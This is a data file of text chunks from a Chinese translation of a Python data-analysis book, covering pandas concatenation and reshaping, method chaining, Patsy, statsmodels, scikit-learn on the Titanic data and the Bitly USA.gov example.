    {"text": "使用keys参数即可达到这个目的： In [92]: result = pd.concat([s1, s1, s3], keys=['one','two', 'three']) In [93]: result Out[93]: one a 0 b 1 two a 0 b 1 three f 5 g 6 dtype: int64 In [94]: result.unstack() Out[94]: a b f g one 0.0 1.0 NaN NaN two 0.0 1.0 NaN NaN three NaN NaN 5.0 6.0 如果沿着axis=1对Series进行合并，则keys就会成为DataFrame的列头： In [95]: pd.concat([s1, s2, s3], axis=1, keys=['one','two', 'three']) Out[95]: one two three a 0.0 NaN NaN b 1.0 NaN NaN c NaN 2.0 NaN d NaN 3.0 NaN e NaN 4.0 NaN f NaN NaN 5.0 g NaN NaN 6.0 同样的逻辑也适用于DataFrame对象： In [96]: df1 = pd.DataFrame(np.arange(6).reshape(3, 2), index=['a', 'b', 'c'], ....: columns=['one', 'two']) In [97]: df2 = pd.DataFrame(5 + np.arange(4).reshape(2, 2), index=['a', 'c'], ....: columns=['three', 'four']) 242 In [98]: df1 Out[98]: one two a 0 1 b 2 3 c 4 5 In [99]: df2 Out[99]: three four a 5 6 c 7 8 In [100]: pd.concat([df1, df2], axis=1, keys=['level1', 'level2']) Out[100]: level1 level2 one two three four a 0 1 5.0 6.0 b 2 3 NaN NaN c 4 5 7.0 8.0 如果传入的不是列表而是一个字典，则字典的键就会被当做keys选项的值： In [101]: pd.concat({'level1': df1, 'level2': df2}, axis=1) Out[101]: level1 level2 one two three four a 0 1 5.0 6.0 b 2 3 NaN NaN c 4 5 7.0 8.0 此外还有两个用于管理层次化索引创建方式的参数（参见表8-3）。 举个例子，我们可以用names 参数命名创建的轴级别： In [102]: pd.concat([df1, df2], axis=1, keys=['level1', 'level2'], .....: names=['upper', 'lower']) Out[102]: upper level1 level2 lower one two three four a 0 1 5.0 6.0 b 2 3 NaN NaN c 4 5 7.0 8.0 最后一个关于DataFrame的问题是，DataFrame的行索引不包含任何相关数据： 243 In [103]: df1 = pd.DataFrame(np.random.randn(3, 4), columns=['a', 'b', 'c', 'd']) In [104]: df2 = pd.DataFrame(np.random.randn(2, 3), columns=['b', 'd', 'a']) In [105]: df1 Out[105]: a b c d 0 1.246435 1.007189 -1.296221 0.274992 1 0.228913 1.352917 0.886429 -2.001637 2 -0.371843 1.669025 -0.438570 -0.539741 In [106]: df2 Out[106]: b d a 0 0.476985 3.248944 -1.021228 1 -0.577087 0.124121 0.302614 在这种情况下，传入ignore_index=True即可： In [107]: pd.concat([df1, df2], ignore_index=True) Out[107]: a b c d 0 1.246435 1.007189 -1.296221 0.274992 1 0.228913 1.352917 0.886429 -2.001637 2 -0.371843 1.669025 -0.438570 -0.539741 3 -1.021228 0.476985 NaN 3.248944 4 0.302614 -0.577087 NaN 0.124121 244 合并重叠数据 还有一种数据组合问题不能用简单的合并（merge）或连接（concatenation）运算来处理。"},
    {"text": "举个有启发性的例子，我们使用NumPy的where 函数，它表示一种等价于面向数组的if-else： In [108]: a = pd.Series([np.nan, 2.5, np.nan, 3.5, 4.5, np.nan], .....: index=['f', 'e', 'd', 'c', 'b', 'a']) In [109]: b = pd.Series(np.arange(len(a), dtype=np.float64), .....: index=['f', 'e', 'd', 'c', 'b', 'a']) In [110]: b[-1] = np.nan In [111]: a Out[111]: f NaN e 2.5 d NaN c 3.5 b 4.5 a NaN dtype: float64 In [112]: b Out[112]: f 0.0 e 1.0 d 2.0 c 3.0 b 4.0 a NaN dtype: float64 In [113]: np.where(pd.isnull(a), b, a) Out[113]: array([ 0. , 2.5, 2. , 3.5, 4.5, nan]) Series有一个combine_first方法，实现的也是一样的功能，还带有pandas的数据对齐： In [114]: b[:-2].combine_first(a[2:]) Out[114]: a NaN b 4.5 c 3.0 d 2.0 e 1.0 f 0.0 245 dtype: float64 对于DataFrame，combine_first自然也会在列上做同样的事情，因此你可以将其看做：用传递对象 中的数据为调用对象的缺失数据“打补丁”： In [115]: df1 = pd.DataFrame({'a': [1., np.nan, 5., np.nan], .....: 'b': [np.nan, 2., np.nan, 6.], .....: 'c': range(2, 18, 4)}) In [116]: df2 = pd.DataFrame({'a': [5., 4., np.nan, 3., 7.], .....: 'b': [np.nan, 3., 4., 6., 8.]}) In [117]: df1 Out[117]: a b c 0 1.0 NaN 2 1 NaN 2.0 6 2 5.0 NaN 10 3 NaN 6.0 14 In [118]: df2 Out[118]: a b 0 5.0 NaN 1 4.0 3.0 2 NaN 4.0 3 3.0 6.0 4 7.0 8.0 In [119]: df1.combine_first(df2) Out[119]: a b c 0 1.0 NaN 2.0 1 4.0 2.0 6.0 2 5.0 4.0 10.0 3 3.0 6.0 14.0 4 7.0 8.0 NaN 8.3 重塑和轴向旋转 有许多用于重新排列表格型数据的基础运算。"},
    {"text": "接下来看一个简单的DataFrame，其中的行列索引均为字 符串数组： In [120]: data = pd.DataFrame(np.arange(6).reshape((2, 3)), .....: index=pd.Index(['Ohio','Colorado'], name='state'), .....: columns=pd.Index(['one', 'two', 'three'], .....: name='number')) In [121]: data Out[121]: number one two three state Ohio 0 1 2 Colorado 3 4 5 对该数据使用stack方法即可将列转换为行，得到一个Series： In [122]: result = data.stack() In [123]: result Out[123]: state number Ohio one 0 two 1 three 2 Colorado one 3 two 4 three 5 dtype: int64 对于一个层次化索引的Series，你可以用unstack将其重排为一个DataFrame： In [124]: result.unstack() Out[124]: number one two three state Ohio 0 1 2 Colorado 3 4 5 默认情况下，unstack操作的是最内层（stack也是如此）。 传入分层级别的编号或名称即可对其它 级别进行unstack操作： 247 In [125]: result.unstack(0) Out[125]: state Ohio Colorado number one 0 3 two 1 4 three 2 5 In [126]: result.unstack('state') Out[126]: state Ohio Colorado number one 0 3 two 1 4 three 2 5 如果不是所有的级别值都能在各分组中找到的话，则unstack操作可能会引入缺失数据： In [127]: s1 = pd.Series([0, 1, 2, 3], index=['a', 'b', 'c', 'd']) In [128]: s2 = pd.Series([4, 5, 6], index=['c', 'd', 'e']) In [129]: data2 = pd.concat([s1, s2], keys=['one', 'two']) In [130]: data2 Out[130]: one a 0 b 1 c 2 d 3 two c 4 d 5 e 6"},
    {"text": "Table of Contents In [96]: time_key = pd.TimeGrouper('5min') 我们然后设定时间索引，用key和time_key分组，然后聚合： In [97]: resampled = (df2.set_index('time') ....: .groupby(['key', time_key]) ....: .sum()) In [98]: resampled Out[98]: value key time a 2017-05-20 00:00:00 30.0 2017-05-20 00:05:00 105.0 383 2017-05-20 00:10:00 180.0 b 2017-05-20 00:00:00 35.0 2017-05-20 00:05:00 110.0 2017-05-20 00:10:00 185.0 c 2017-05-20 00:00:00 40.0 2017-05-20 00:05:00 115.0 2017-05-20 00:10:00 190.0 In [99]: resampled.reset_index() Out[99]: key time value 0 a 2017-05-20 00:00:00 30.0 1 a 2017-05-20 00:05:00 105.0 2 a 2017-05-20 00:10:00 180.0 3 b 2017-05-20 00:00:00 35.0 4 b 2017-05-20 00:05:00 110.0 5 b 2017-05-20 00:10:00 185.0 6 c 2017-05-20 00:00:00 40.0 7 c 2017-05-20 00:05:00 115.0 8 c 2017-05-20 00:10:00 190.0 使用TimeGrouper的限制是时间必须是Series或DataFrame的索引。"},
    {"text": "看下面 的例子： df = load_data() df2 = df[df['col2'] < 0] df2['col1_demeaned'] = df2['col1'] - df2['col1'].mean() result = df2.groupby('key').col1_demeaned.std() 虽然这里没有使用真实的数据，这个例子却指出了一些新方法。"},
    {"text": "因此，下面的语句是等价的： # Usual non-functional way df2 = df.copy() df2['k'] = v # Functional assign way df2 = df.assign(k=v) 就地分配可能会比assign快，但是assign可以方便地进行链式编程： 384 result = (df2.assign(col1_demeaned=df2.col1 - df2.col2.mean()) .groupby('key') .col1_demeaned.std()) 我使用外括号，这样便于添加换行符。"},
    {"text": "为了展示可调用对象，看一个前面例子的片段： df = load_data() df2 = df[df['col2'] < 0] 它可以重写为： df = (load_data() [lambda x: x['col2'] < 0]) 这里，load_data的结果没有赋值给某个变量，因此传递到[ ]的函数在这一步被绑定到了对象。 我们可以把整个过程写为一个单链表达式： result = (load_data() [lambda x: x.col2 < 0] .assign(col1_demeaned=lambda x: x.col1 - x.col1.mean()) .groupby('key') .col1_demeaned.std()) 是否将代码写成这种形式只是习惯而已，将它分开成若干步可以提高可读性。"},
    {"text": "看下面的函数调用： a = f(df, arg1=v1) b = g(a, v2, arg3=v3) c = h(b, arg4=v4) 当使用接收、返回Series或DataFrame对象的函数式，你可以调用pipe将其重写： 385 result = (df.pipe(f, arg1=v1) .pipe(g, v2, arg3=v3) .pipe(h, arg4=v4)) f(df)和df.pipe(f)是等价的，但是pipe使得链式声明更容易。"},
    {"text": "看一个从列减去分组方法的例子： g = df.groupby(['key1', 'key2']) df['col1'] = df['col1'] - g.transform('mean') 假设你想转换多列，并修改分组的键。"},
    {"text": "下面就是一个方法： def group_demean(df, by, cols): result = df.copy() g = df.groupby(by) for c in cols: result[c] = df[c] - g[c].transform('mean') return result 然后可以写为： result = (df[df.col1 < 0] .pipe(group_demean, ['key1', 'key2'], ['col1'])) 12.4 总结 和其它许多开源项目一样，pandas仍然在不断的变化和进步中。"},
    {"text": "将DataFrame转换为NumPy数组，可以 使用.values属性： In [10]: import pandas as pd In [11]: import numpy as np In [12]: data = pd.DataFrame({ ....: 'x0': [1, 2, 3, 4, 5], ....: 'x1': [0.01, -0.01, 0.25, -4.1, 0.], ....: 'y': [-1.5, 0., 3.6, 1.3, -2.]}) In [13]: data Out[13]: x0 x1 y 0 1 0.01 -1.5 1 2 -0.01 0.0 2 3 0.25 3.6 3 4 -4.10 1.3 4 5 0.00 -2.0 In [14]: data.columns Out[14]: Index(['x0', 'x1', 'y'], dtype='object') In [15]: data.values Out[15]: array([[ 1. , 0.01, -1.5 ], 387 [ 2. , -0.01, 0. ], [ 3. , 0.25, 3.6 ], [ 4. , -4.1 , 1.3 ], [ 5. , 0. , -2. ]]) 要转换回DataFrame，可以传递一个二维ndarray，可带有列名： In [16]: df2 = pd.DataFrame(data.values, columns=['one', 'two', 'three']) In [17]: df2 Out[17]: one two three 0 1.0 0.01 -1.5 1 2.0 -0.01 0.0 2 3.0 0.25 3.6 3 4.0 -4.10 1.3 4 5.0 0.00 -2.0 笔记：最好当数据是均匀的时候使用.values属性。"},
    {"text": "如果数据是不均匀 的，结果会是Python对象的ndarray： In [18]: df3 = data.copy() In [19]: df3['strings'] = ['a', 'b', 'c', 'd', 'e'] In [20]: df3 Out[20]: x0 x1 y strings 0 1 0.01 -1.5 a 1 2 -0.01 0.0 b 2 3 0.25 3.6 c 3 4 -4.10 1.3 d 4 5 0.00 -2.0 e In [21]: df3.values Out[21]: array([[1, 0.01, -1.5, 'a'], [2, -0.01, 0.0, 'b'], [3, 0.25, 3.6, 'c'], [4, -4.1, 1.3, 'd'], [5, 0.0, -2.0, 'e']], dtype=object) 对于一些模型，你可能只想使用列的子集。"},
    {"text": "我建议你使用loc，用values作索引： In [22]: model_cols = ['x0', 'x1'] 388 In [23]: data.loc[:, model_cols].values Out[23]: array([[ 1. , 0.01], [ 2. , -0.01], [ 3. , 0.25], [ 4. , -4.1 ], [ 5. , 0. ]]) 一些库原生支持pandas，会自动完成工作：从DataFrame转换到NumPy，将模型的参数名添加到 输出表的列或Series。"},
    {"text": "假设数据集中有一 个非数值列： In [24]: data['category'] = pd.Categorical(['a', 'b', 'a', 'a', 'b'], ....: categories=['a', 'b']) In [25]: data Out[25]: x0 x1 y category 0 1 0.01 -1.5 a 1 2 -0.01 0.0 b 2 3 0.25 3.6 a 3 4 -4.10 1.3 a 4 5 0.00 -2.0 b 如果我们想替换category列为虚变量，我们可以创建虚变量，删除category列，然后添加到结果： In [26]: dummies = pd.get_dummies(data.category, prefix='category') In [27]: data_with_dummies = data.drop('category', axis=1).join(dummies) In [28]: data_with_dummies Out[28]: x0 x1 y category_a category_b 0 1 0.01 -1.5 1 0 1 2 -0.01 0.0 0 1 2 3 0.25 3.6 1 0 3 4 -4.10 1.3 1 0 4 5 0.00 -2.0 0 1 用虚变量拟合某些统计模型会有一些细微差别。"},
    {"text": "13.2 用 Patsy 创建模型描述 389 Patsy是Python的一个库，使用简短的字符串“公式语法”描述统计模型（尤其是线性模型），可能 是受到了R和S统计编程语言的公式语法的启发。"},
    {"text": "patsy.dmatrices函数接收一个公式字符 串和一个数据集（可以是DataFrame或数组的字典），为线性模型创建设计矩阵： In [29]: data = pd.DataFrame({ ....: 'x0': [1, 2, 3, 4, 5], ....: 'x1': [0.01, -0.01, 0.25, -4.1, 0.], ....: 'y': [-1.5, 0., 3.6, 1.3, -2.]}) In [30]: data Out[30]: x0 x1 y 0 1 0.01 -1.5 1 2 -0.01 0.0 2 3 0.25 3.6 3 4 -4.10 1.3 4 5 0.00 -2.0 In [31]: import patsy In [32]: y, X = patsy.dmatrices('y ~ x0 + x1', data) 现在有： In [33]: y Out[33]: DesignMatrix with shape (5, 1) y -1.5 0.0 3.6 1.3 -2.0 Terms: 'y' (column 0) In [34]: X Out[34]: DesignMatrix with shape (5, 3) 390 Intercept x0 x1 1 1 0.01 1 2 -0.01 1 3 0.25 1 4 -4.10 1 5 0.00 Terms: 'Intercept' (column 0) 'x0' (column 1) 'x1' (column 2) 这些Patsy的DesignMatrix实例是NumPy的ndarray，带有附加元数据： In [35]: np.asarray(y) Out[35]: array([[-1.5], [ 0. ], [ 3.6], [ 1.3], [-2. ]]) In [36]: np.asarray(X) Out[36]: array([[ 1. , 1. , 0.01], [ 1. , 2. , -0.01], [ 1. , 3. , 0.25], [ 1. , 4. , -4.1 ], [ 1. , 5. , 0. ]]) 你可能想Intercept是哪里来的。"},
    {"text": "添加 +0 到 模型可以不显示intercept： In [37]: patsy.dmatrices('y ~ x0 + x1 + 0', data)[1] Out[37]: DesignMatrix with shape (5, 2) x0 x1 1 0.01 2 -0.01 3 0.25 4 -4.10 5 0.00 Terms: 'x0' (column 0) 'x1' (column 1) Patsy对象可以直接传递到算法（比如numpy.linalg.lstsq）中，它执行普通最小二乘回归： 391 In [38]: coef, resid, _, _ = np.linalg.lstsq(X, y) 模型的元数据保留在design_info属性中，因此你可以重新附加列名到拟合系数，以获得一个 Series，例如： In [39]: coef Out[39]: array([[ 0.3129], [-0.0791], [-0.2655]]) In [40]: coef = pd.Series(coef.squeeze(), index=X.design_info.column_names) In [41]: coef Out[41]: Intercept 0.312910 x0 -0.079106 x1 -0.265464 dtype: float64 用 Patsy 公式进行数据转换 你可以将Python代码与patsy公式结合。 在评估公式时，库将尝试查找在封闭作用域内使用的函 数： In [42]: y, X = patsy.dmatrices('y ~ x0 + np.log(np.abs(x1) + 1)', data) In [43]: X Out[43]: DesignMatrix with shape (5, 3) Intercept x0 np.log(np.abs(x1) + 1) 1 1 0.00995 1 2 0.00995 1 3 0.22314 1 4 1.62924 1 5 0.00000 Terms: 'Intercept' (column 0) 'x0' (column 1) 'np.log(np.abs(x1) + 1)' (column 2) 常见的变量转换包括标准化（平均值为0，方差为1）和中心化（减去平均值）。 Patsy有内置的函 数进行这样的工作： 392 In [44]: y, X = patsy.dmatrices('y ~ standardize(x0) + center(x1)', data) In [45]: X Out[45]: DesignMatrix with shape (5, 3) Intercept standardize(x0) center(x1) 1 -1.41421 0.78 1 -0.70711 0.76 1 0.00000 1.02 1 0.70711 -3.33 1 1.41421 0.77 Terms: 'Intercept' (column 0) 'standardize(x0)' (column 1) 'center(x1)' (column 2) 作为建模的一步，你可能拟合模型到一个数据集，然后用另一个数据集评估模型。"},
    {"text": "patsy.build_design_matrices函数可以使用原始样本数据集的保存信息，来转换新数据，： In [46]: new_data = pd.DataFrame({ ....: 'x0': [6, 7, 8, 9], ....: 'x1': [3.1, -0.5, 0, 2.3], ....: 'y': [1, 2, 3, 4]}) In [47]: new_X = patsy.build_design_matrices([X.design_info], new_data) In [48]: new_X Out[48]: [DesignMatrix with shape (4, 3) Intercept standardize(x0) center(x1) 1 2.12132 3.87 1 2.82843 0.27 1 3.53553 0.77 1 4.24264 3.07 Terms: 'Intercept' (column 0) 'standardize(x0)' (column 1) 'center(x1)' (column 2)] 因为Patsy中的加号不是加法的意义，当你按照名称将数据集的列相加时，你必须用特殊I函数将它 们封装起来： In [49]: y, X = patsy.dmatrices('y ~ I(x0 + x1)', data) 393 In [50]: X Out[50]: DesignMatrix with shape (5, 2) Intercept I(x0 + x1) 1 1.01 1 1.99 1 3.25 1 -0.10 1 5.00 Terms: 'Intercept' (column 0) 'I(x0 + x1)' (column 1) Patsy的patsy.builtins模块还有一些其它的内置转换。"},
    {"text": "如果有截距，会去掉一个，避免 共线性： In [51]: data = pd.DataFrame({ ....: 'key1': ['a', 'a', 'b', 'b', 'a', 'b', 'a', 'b'], ....: 'key2': [0, 1, 0, 1, 0, 1, 0, 0], ....: 'v1': [1, 2, 3, 4, 5, 6, 7, 8], ....: 'v2': [-1, 0, 2.5, -0.5, 4.0, -1.2, 0.2, -1.7] ....: }) In [52]: y, X = patsy.dmatrices('v2 ~ key1', data) In [53]: X Out[53]: DesignMatrix with shape (8, 2) Intercept key1[T.b] 1 0 1 0 1 1 1 1 1 0 1 1 1 0 1 1 394 Terms: 'Intercept' (column 0) 'key1' (column 1) 如果你从模型中忽略截距，每个分类值的列都会包括在设计矩阵的模型中： In [54]: y, X = patsy.dmatrices('v2 ~ key1 + 0', data) In [55]: X Out[55]: DesignMatrix with shape (8, 2) key1[a] key1[b] 1 0 1 0 0 1 0 1 1 0 0 1 1 0 0 1 Terms: 'key1' (columns 0:2) 使用C函数，数值列可以截取为分类量： In [56]: y, X = patsy.dmatrices('v2 ~ C(key2)', data) In [57]: X Out[57]: DesignMatrix with shape (8, 2) Intercept C(key2)[T.1] 1 0 1 1 1 0 1 1 1 0 1 1 1 0 1 0 Terms: 'Intercept' (column 0) 'C(key2)' (column 1) 当你在模型中使用多个分类名，事情就会变复杂，因为会包括key1:key2形式的相交部分，它可以 用在方差（ANOVA）模型分析中： 395 In [58]: data['key2'] = data['key2'].map({0: 'zero', 1: 'one'}) In [59]: data Out[59]: key1 key2 v1 v2 0 a zero 1 -1.0 1 a one 2 0.0 2 b zero 3 2.5 3 b one 4 -0.5 4 a zero 5 4.0 5 b one 6 -1.2 6 a zero 7 0.2 7 b zero 8 -1.7 In [60]: y, X = patsy.dmatrices('v2 ~ key1 + key2', data) In [61]: X Out[61]: DesignMatrix with shape (8, 3) Intercept key1[T.b] key2[T.zero] 1 0 1 1 0 0 1 1 1 1 1 0 1 0 1 1 1 0 1 0 1 1 1 1 Terms: 'Intercept' (column 0) 'key1' (column 1) 'key2' (column 2) In [62]: y, X = patsy.dmatrices('v2 ~ key1 + key2 + key1:key2', data) In [63]: X Out[63]: DesignMatrix with shape (8, 4) Intercept key1[T.b] key2[T.zero] key1[T.b]:key2[T.zero] 1 0 1 0 1 0 0 0 1 1 1 1 1 1 0 0 1 0 1 0 1 1 0 0 1 0 1 0 1 1 1 1 396 Terms: 'Intercept' (column 0) 'key1' (column 1) 'key2' (column 2) 'key1:key2' (column 3) Patsy提供转换分类数据的其它方法，包括以特定顺序转换。"},
    {"text": "statsmodels包含的模型有： 线性模型，广义线性模型和健壮线性模型 线性混合效应模型 方差（ANOVA）方法分析 时间序列过程和状态空间模型 广义矩估计 下面，我会使用一些基本的statsmodels工具，探索Patsy公式和pandasDataFrame对象如何使用 模型接口。"},
    {"text": "它们可以通过API模块引入： import statsmodels.api as sm import statsmodels.formula.api as smf 为了展示它们的使用方法，我们从一些随机数据生成一个线性模型： def dnorm(mean, variance, size=1): if isinstance(size, int): size = size, return mean + np.sqrt(variance) * np.random.randn(*size) # For reproducibility np.random.seed(12345) N = 100 397 X = np.c_[dnorm(0, 0.4, size=N), dnorm(0, 0.6, size=N), dnorm(0, 0.2, size=N)] eps = dnorm(0, 0.1, size=N) beta = [0.1, 0.3, 0.5] y = np.dot(X, beta) + eps 这里，我使用了“真实”模型和可知参数beta。"},
    {"text": "现在有： In [66]: X[:5] Out[66]: array([[-0.1295, -1.2128, 0.5042], [ 0.3029, -0.4357, -0.2542], [-0.3285, -0.0253, 0.1384], [-0.3515, -0.7196, -0.2582], [ 1.2433, -0.3738, -0.5226]]) In [67]: y[:5] Out[67]: array([ 0.4279, -0.6735, -0.0909, -0.4895,-0.1289]) 像之前Patsy看到的，线性模型通常要拟合一个截距。 sm.add_constant函数可以添加一个截距的 列到现存的矩阵： In [68]: X_model = sm.add_constant(X) In [69]: X_model[:5] Out[69]: array([[ 1. , -0.1295, -1.2128, 0.5042], [ 1. , 0.3029, -0.4357, -0.2542], [ 1. , -0.3285, -0.0253, 0.1384], [ 1. , -0.3515, -0.7196, -0.2582], [ 1. , 1.2433, -0.3738, -0.5226]]) sm.OLS类可以拟合一个普通最小二乘回归： In [70]: model = sm.OLS(y, X) 这个模型的fit方法返回了一个回归结果对象，它包含估计的模型参数和其它内容： In [71]: results = model.fit() In [72]: results.params Out[72]: array([ 0.1783, 0.223 , 0.501 ]) 398 对结果使用summary方法可以打印模型的详细诊断结果： In [73]: print(results.summary()) OLS Regression Results ============================================================================== Dep. Variable: y R-squared: 0.430 Model: OLS Adj. R-squared: 0.413 Method: Least Squares F-statistic: 24.42 Date: Mon, 25 Sep 2017 Prob (F-statistic): 7.44e-12 Time: 14:06:15 Log-Likelihood: -34.305 No. Observations: 100 AIC: 74.61 Df Residuals: 97 BIC: 82.42 Df Model: 3 Covariance Type: nonrobust ============================================================================== coef std err t P>|t| [0.025 0.975] ------------------------------------------------------------------------------ x1 0.1783 0.053 3.364 0.001 0.073 0.283 x2 0.2230 0.046 4.818 0.000 0.131 0.315 x3 0.5010 0.080 6.237 0.000 0.342 0.660 ============================================================================== Omnibus: 4.662 Durbin-Watson: 2.201 Prob(Omnibus): 0.097 Jarque-Bera (JB): 4.098 Skew: 0.481 Prob(JB): 0.129 Kurtosis: 3.243 Cond. No. 1.74 ============================================================================== Warnings: [1] Standard Errors assume that the covariance matrix of the errors is correctly specified. 这里的参数名为通用名x1, x2等等。 假设所有的模型参数都在一个DataFrame中： In [74]: data = pd.DataFrame(X, columns=['col0', 'col1', 'col2']) In [75]: data['y'] = y In [76]: data[:5] Out[76]: col0 col1 col2 y 0 -0.129468 -1.212753 0.504225 0.427863 1 0.302910 -0.435742 -0.254180 -0.673480 2 -0.328522 -0.025302 0.138351 -0.090878 3 -0.351475 -0.719605 -0.258215 -0.489494 4 1.243269 -0.373799 -0.522629 -0.128941 399 现在，我们使用statsmodels的公式API和Patsy的公式字符串： In [77]: results = smf.ols('y ~ col0 + col1 + col2', data=data).fit() In [78]: results.params Out[78]: Intercept 0.033559 col0 0.176149 col1 0.224826 col2 0.514808 dtype: float64 In [79]: results.tvalues Out[79]: Intercept 0.952188 col0 3.319754 col1 4.850730 col2 6.303971 dtype: float64 观察下statsmodels是如何返回Series结果的，附带有DataFrame的列名。"},
    {"text": "给出一个样本外数据，你可以根据估计的模型参数计算预测值： In [80]: results.predict(data[:5]) Out[80]: 0 -0.002327 1 -0.141904 2 0.041226 3 -0.323070 4 -0.100535 dtype: float64 statsmodels的线性模型结果还有其它的分析、诊断和可视化工具。"},
    {"text": "用自回归结构和噪声来模拟一些时间序列数据： init_x = 4 400 import random values = [init_x, init_x] N = 1000 b0 = 0.8 b1 = -0.4 noise = dnorm(0, 0.1, N) for i in range(N): new_x = values[-1] * b0 + values[-2] * b1 + noise[i] values.append(new_x) 这个数据有AR(2)结构（两个延迟），参数是0.8和-0.4。"},
    {"text": "拟合AR模型时，你可能不知道滞后项的 个数，因此可以用较多的滞后量来拟合这个模型： In [82]: MAXLAGS = 5 In [83]: model = sm.tsa.AR(values) In [84]: results = model.fit(MAXLAGS) 结果中的估计参数首先是截距，其次是前两个参数的估计值： In [85]: results.params Out[85]: array([-0.0062, 0.7845, -0.4085, -0.0136, 0.015 , 0.0143]) 更多的细节以及如何解释结果超出了本书的范围，可以通过statsmodels文档学习更多。"},
    {"text": "我们用pandas加 载测试和训练数据集： In [86]: train = pd.read_csv('datasets/titanic/train.csv') In [87]: test = pd.read_csv('datasets/titanic/test.csv') 401 In [88]: train[:4] Out[88]: PassengerId Survived Pclass \\ 0 1 0 3 1 2 1 1 2 3 1 3 3 4 1 1 Name Sex Age SibSp \\ 0 Braund, Mr. Owen Harris male 22.0 1 1 Cumings, Mrs. John Bradley (Florence Briggs Th... female 38.0 1 2 Heikkinen, Miss. Laina female 26.0 0 3 Futrelle, Mrs. Jacques Heath (Lily May Peel) female 35.0 1 Parch Ticket Fare Cabin Embarked 0 0 A/5 21171 7.2500 NaN S 1 0 PC 17599 71.2833 C85 C 2 0 STON/O2. 3101282 7.9250 NaN S 3 0 113803 53.1000 C123 S statsmodels和scikit-learn通常不能接收缺失数据，因此我们要查看列是否包含缺失值： In [89]: train.isnull().sum() Out[89]: PassengerId 0 Survived 0 Pclass 0 Name 0 Sex 0 Age 177 SibSp 0 Parch 0 Ticket 0 Fare 0 Cabin 687 Embarked 2 dtype: int64 In [90]: test.isnull().sum() Out[90]: PassengerId 0 Pclass 0 Name 0 Sex 0 Age 86 SibSp 0 Parch 0 Ticket 0 Fare 1 402 Cabin 327 Embarked 0 dtype: int64 在统计和机器学习的例子中，根据数据中的特征，一个典型的任务是预测乘客能否生还。"},
    {"text": "缺失数据补全的方法有多种，我用的是一种简单方 法，用训练数据集的中位数补全两个表的空值： In [91]: impute_value = train['Age'].median() In [92]: train['Age'] = train['Age'].fillna(impute_value) In [93]: test['Age'] = test['Age'].fillna(impute_value) 现在我们需要指定模型。"},
    {"text": "我增加了一个列IsFemale，作为“Sex”列的编码： In [94]: train['IsFemale'] = (train['Sex'] == 'female').astype(int) In [95]: test['IsFemale'] = (test['Sex'] == 'female').astype(int) 然后，我们确定一些模型变量，并创建NumPy数组： In [96]: predictors = ['Pclass', 'IsFemale', 'Age'] In [97]: X_train = train[predictors].values In [98]: X_test = test[predictors].values In [99]: y_train = train['Survived'].values In [100]: X_train[:5] Out[100]: array([[ 3., 0., 22.], [ 1., 1., 38.], [ 3., 1., 26.], [ 1., 1., 35.], [ 3., 0., 35.]]) In [101]: y_train[:5] Out[101]: array([0, 1, 1, 1, 0]) 我不能保证这是一个好模型，但它的特征都符合。"},
    {"text": "我们用scikit-learn的LogisticRegression模型， 创建一个模型实例： 403 In [102]: from sklearn.linear_model import LogisticRegression In [103]: model = LogisticRegression() 与statsmodels类似，我们可以用模型的fit方法，将它拟合到训练数据： In [104]: model.fit(X_train, y_train) Out[104]: LogisticRegression(C=1.0, class_weight=None, dual=False, fit_intercept=True, intercept_scaling=1, max_iter=100, multi_class='ovr', n_jobs=1, penalty='l2', random_state=None, solver='liblinear', tol=0.0001, verbose=0, warm_start=False) 现在，我们可以用model.predict，对测试数据进行预测： In [105]: y_predict = model.predict(X_test) In [106]: y_predict[:10] Out[106]: array([0, 0, 0, 0, 1, 0, 1, 0, 1, 0]) 如果你有测试数据集的真是值，你可以计算准确率或其它错误度量值： (y_true == y_predict).mean() 在实际中，模型训练经常有许多额外的复杂因素。"},
    {"text": "例如， logisticregressioncv类可以用一个参数指定网格搜索对模型的正则化参数C的粒度： In [107]: from sklearn.linear_model import LogisticRegressionCV In [108]: model_cv = LogisticRegressionCV(10) In [109]: model_cv.fit(X_train, y_train) Out[109]: LogisticRegressionCV(Cs=10, class_weight=None, cv=None, dual=False, fit_intercept=True, intercept_scaling=1.0, max_iter=100, multi_class='ovr', n_jobs=1, penalty='l2', random_state=None, refit=True, scoring=None, solver='lbfgs', tol=0.0001, verbose=0) 404 要手动进行交叉验证，你可以使用cross_val_score帮助函数，它可以处理数据分割。 例如，要交 叉验证我们的带有四个不重叠训练数据的模型，可以这样做： In [110]: from sklearn.model_selection import cross_val_score In [111]: model = LogisticRegression(C=10) In [112]: scores = cross_val_score(model, X_train, y_train, cv=4) In [113]: scores Out[113]: array([ 0.7723, 0.8027, 0.7703, 0.7883]) 默认的评分指标取决于模型本身，但是可以明确指定一个评分。"},
    {"text": "其中优秀的有： Andreas Mueller and Sarah Guido (O’Reilly)的 《Introduction to Machine Learning with Python》 Jake VanderPlas (O’Reilly)的 《Python Data Science Handbook》 Joel Grus (O’Reilly) 的 《Data Science from Scratch: First Principles》 Sebastian Raschka (Packt Publishing) 的《Python Machine Learning》 Aurélien Géron (O’Reilly) 的《Hands-On Machine Learning with Scikit-Learn and TensorFlow》 虽然书是学习的好资源，但是随着底层开源软件的发展，书的内容会过时。"},
    {"text": "14.1 来自 Bitly 的 USA.gov 数据 2011年，URL缩短服务Bitly跟美国政府网站USA.gov合作，提供了一份从生成.gov或.mil短链接的 用户那里收集来的匿名数据。"},
    {"text": "例如，如果我们只读取某个文件中的第一行，那么所看到的结果应该是下面这 样： In [5]: path = 'datasets/bitly_usagov/example.txt' In [6]: open(path).readline() Out[6]: '{ \"a\": \"Mozilla\\\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\\\/535.11 (KHTML, like Gecko) Chrome\\\\/17.0.963.78 Safari\\\\/535.11\", \"c\": \"US\", \"nk\": 1, \"tz\": \"America\\\\/New_York\", \"gr\": \"MA\", \"g\": \"A6qOVH\", \"h\": \"wfLQtf\", \"l\": \"orofrog\", \"al\": \"en-US,en;q=0.8\", \"hh\": \"1.usa.gov\", \"r\": \"http:\\\\/\\\\/www.facebook.com\\\\/l\\\\/7AQEFzjSi\\\\/1.usa.gov\\\\/wfLQtf\", \"u\": \"http:\\\\/\\\\/www.ncbi.nlm.nih.gov\\\\/pubmed\\\\/22415991\", \"t\": 1331923247, \"hc\": 1331822918, \"cy\": \"Danvers\", \"ll\": [ 42.576698, -70.954903 ] }\\n' Python有内置或第三方模块可以将JSON字符串转换成Python字典对象。 这里，我将使用json模块 及其loads函数逐行加载已经下载好的数据文件： import json path = 'datasets/bitly_usagov/example.txt' records = [json.loads(line) for line in open(path)] 